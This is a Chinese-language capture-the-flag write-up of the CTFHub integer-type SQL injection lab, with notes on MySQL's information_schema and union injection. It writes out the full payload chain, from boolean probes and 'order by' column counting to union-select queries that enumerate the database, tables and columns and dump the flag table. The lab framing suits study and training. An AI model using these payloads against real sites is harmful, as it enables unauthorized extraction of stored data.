SQL注入学习记录 CTFHub SQL注入 整数型注入
首先进入界面可以看见这样:
很明显输入框就是注入口,分别输入1,1 and 1=1,1 and 1=2
后者返回值与前两者不同,说明存在注入点。
然后通过order by x找出该数据表的字段数量,输入1 order by 1
,1 order by 2
,返回结果相同,输入1 order by 3
返回结果不同,证明字段数为2。
然后通过union注入,输入-1 union select 1,2
,回显结果:
说明在-1 union select 1,2
中,1,2的位置都能回显。
所以输入-1 union select 1,database()
,爆出数据库名:
得到数据库名sqli,接着输入-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
,爆出sqli库中的表名:
得到表名news和flag,很明显flag就在表flag中。
然后输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
,爆出列名:
得到列名flag,最后输入-1 union select 1,group_concat(flag) from sqli.flag
,爆出字段内容:
拿到flag!
知识点
一、常用函数
1、database():当前网站使用的数据库
2、version():当前MySQL版本
3、user():当前MySQL的用户
二、MySQL默认有“information_schema”的数据库,该库中有三个表名:
1、SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME。
2、TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。
3、COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
三、union注入
union操作符将两个SQL查询语句连接了起来,当设置id参数为-1时,由于没有id=-1的数据,因此会返回union后的查询语句的结果。